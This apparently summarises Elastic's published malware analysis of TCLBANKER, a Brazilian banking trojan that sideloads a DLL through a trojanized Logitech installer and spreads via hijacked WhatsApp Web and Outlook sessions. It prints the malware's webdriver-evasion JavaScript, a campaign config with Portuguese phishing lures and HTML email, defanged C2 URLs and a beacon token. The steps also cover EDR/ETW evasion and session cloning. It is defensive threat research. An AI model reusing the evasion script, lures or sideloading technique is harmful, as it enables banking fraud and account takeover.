# TCLBANKER: Brazilian Banking Trojan Spreading via WhatsApp and Outlook

TCLBANKER banking trojan sideloads a malicious Flutter plugin DLL via trojanized Logitech installer, then hijacks WhatsApp Web and Outlook sessions to self-propagate phishing to Brazilian contacts.

- Payout: Real-world hack
- Severity: high
- Program: Logitech
- Analysis by: Jia Yu Chan, Daniel Stepanic, Seth Goodwin, Terrance DeJesus
- Disclosed: 2026-05-07
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/tclbanker-brazilian-banking-trojan
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-tclbanker-brazilian-banking-trojan
- Tags: area:os domain:desktop impact:ato impact:data-leak kind:incident platform:threat-intel sev:high tech:chromium tech:windows technique:reverse-engineering technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** Windows endpoint; LogiAiPromptBuilder.exe host process and Chromium/Outlook sessions
**Root cause:** A malicious MSI bundles a fake screen_retriever_plugin.dll alongside the signed LogiAiPromptBuilder.exe; the Flutter host loads the sideloaded DLL from its own directory at startup, executing attacker code in a trusted signed process.
**Steps:**
1. Deliver ZIP containing malicious MSI; victim runs installer.
2. MSI drops signed LogiAiPromptBuilder.exe plus malicious `screen_retriever_plugin.dll` in same directory.
3. Host app starts, loads sideloaded DLL at DllMain; loader checks host is logiaipromptbuilder.exe/tclloader.exe, replaces ntdll.dll from disk, patches EtwEventWrite, runs sandbox/locale checks.
4. Environment hash gates AES-256-CBC decryption of embedded .NET payloads (banker + worm), loaded via CLR hosting.
5. Banker copies itself to %LocalAppData%\LogiAI, registers hidden scheduled task RuntimeOptimizeService, beacons to C2.
6. On monitored bank URL, opens WebSocket to wss://mxtestacionamentos[.]com/ws and drives WPF overlays for credential/vishing fraud.
7. Worm clones WhatsApp Web IndexedDB profile, launches headless Chromium via Selenium, injects WA-JS to spam contacts; Outlook bot uses COM to send phishing from victim's account.
**How found:** Malware analysis: Elastic identified the family as an update to MAVERICK/SORVEPOTEL, statically deobfuscated the .NET Reactor-protected modules with a custom deobfuscation pipeline, and pivoted on the phishing-page body hash and Cloudflare Workers infrastructure to map related domains.
**Exploitation:** Trojanized signed installer establishes execution; environment-gated loader deploys banker and worm modules. Banker uses UI Automation to detect 59 Brazilian banking/crypto domains, opens WebSocket C2, and renders full-screen WPF overlays (credential prompts, vishing wait screens, fake Windows Update) hidden from screen capture to harvest credentials and enable operator social engineering. Worm modules hijack authenticated WhatsApp Web sessions and Outlook accounts to distribute the malware to the victim's contacts, inheriting the victim's trust and deliverability.
**Escalation:** Self-propagation via victim's own WhatsApp and Outlook accounts amplifies distribution beyond the initial infection, bypassing reputation-based email defenses.
**Insight:** Signed Flutter/Electron desktop apps that load plugin DLLs from their install directory are prime DLL-sideloading hosts; bundling the signed binary with a same-named fake plugin in an MSI yields execution inside a trusted process. Also, browser IndexedDB LevelDB directories for web.whatsapp.com can be cloned to resume sessions headlessly without QR re-auth.

## Proof of concept (copied exactly from the original report)

**WhatsApp bot-detection bypass JavaScript injection**

```
Object.defineProperty(navigator, 'webdriver', {
 get: () = > undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome) {
 window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = > (
p.name == = 'notifications' ?
Promise.resolve( {
 state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
 get: () = > [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
 get: () = > ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
 runtime: {}

};
```

**Campaign config with phishing message and C2 endpoints**

```
message : Ola tudo bem?
 Preciso de um orÃ§amento, estarei encaminhado caso tenha os produtos por favor me retorne para
 darmos continuidade no atendimento.

 https://arquivos-omie[.]com ð

 âï¸*IMPORTANTE*: Este orÃ§amento foi otimizado para visualizaÃ§Ã£o em Computadores Desktop,
 pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl : https://documents.ef971a42.workers[.]dev/file
delayMin : 1
delayMax : 3
maxPerSession : 3000
updatedAt : 2026-04-17T15:54:07.003Z
type : gmail
subject : Prezado(a), NFe disponÃ­vel para impressÃ£o
emailMessage : <!DOCTYPE html>
 <html lang="pt-BR">
 <head>
 <meta charset="UTF-8">
 <title>Nota Fiscal DisponÃ­vel</title>
 <style>
 body {
 font-family: Arial, sans-serif;
 margin: 20px;
 padding: 0;
 text-align: center;
 background-color: #f4f4f4; /* Cor de fundo mais clara */
 color: #333; /* Cor do texto ajustada para ser visÃ­vel */
 }
 h1 {
 font-size: 24px;
 margin-bottom: 20px;
 font-weight: normal; /* TÃ­tulo sem negrito */
 }
 p {
 font-size: 16px;
 margin-bottom: 20px;
 line-height: 1.6;
 color: #333; /* Garantir que o texto esteja visÃ­vel */
 }
 .btn {
 background-color: #007BFF;
 color: #fff;
 padding: 10px 20px;
 border: none;
 border-radius: 5px;
 cursor: pointer;
 }
 .btn:hover {
 background-color: #0056b3;
 }
 </style>
 </head>
 <body>

 <h1>Prezado(a)</h1>
 <p>
 Sua Nota Fiscal EletrÃ´nica (NFe) estÃ¡ disponÃ­vel e pronta para ser acessada.
 Para facilitar, basta clicar no botÃ£o abaixo para abrir o documento.
 </p>

 <p>
 Caso tenha alguma dÃºvida sobre os detalhes da nota ou precise de alguma alteraÃ§Ã£o, por
 favor, entre em contato conosco.
 </p>

 <a href="https://arquivos-omie[.]com" target="_blank">
 <button class="btn">Abrir Nota Fiscal</button>
 </a>

 <p>
 Agradecemos pela confianÃ§a e ficamos Ã disposiÃ§Ã£o para qualquer outra necessidade.
 </p>

 </body>
 </html>
emailDelayMin : 30
emailDelayMax : 90
emailMaxPerSession : 100
```

**First-run install beacon POST with auth token**

```
After persistence is established, the agent sends a first-run POST beacon to https://campanha1-api.ef971a42.workers[.]dev/api/installs with the agentId (MachineName-UserName), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token 0d21613a-2609-45fc-83ff-d0feaa0c891f
```

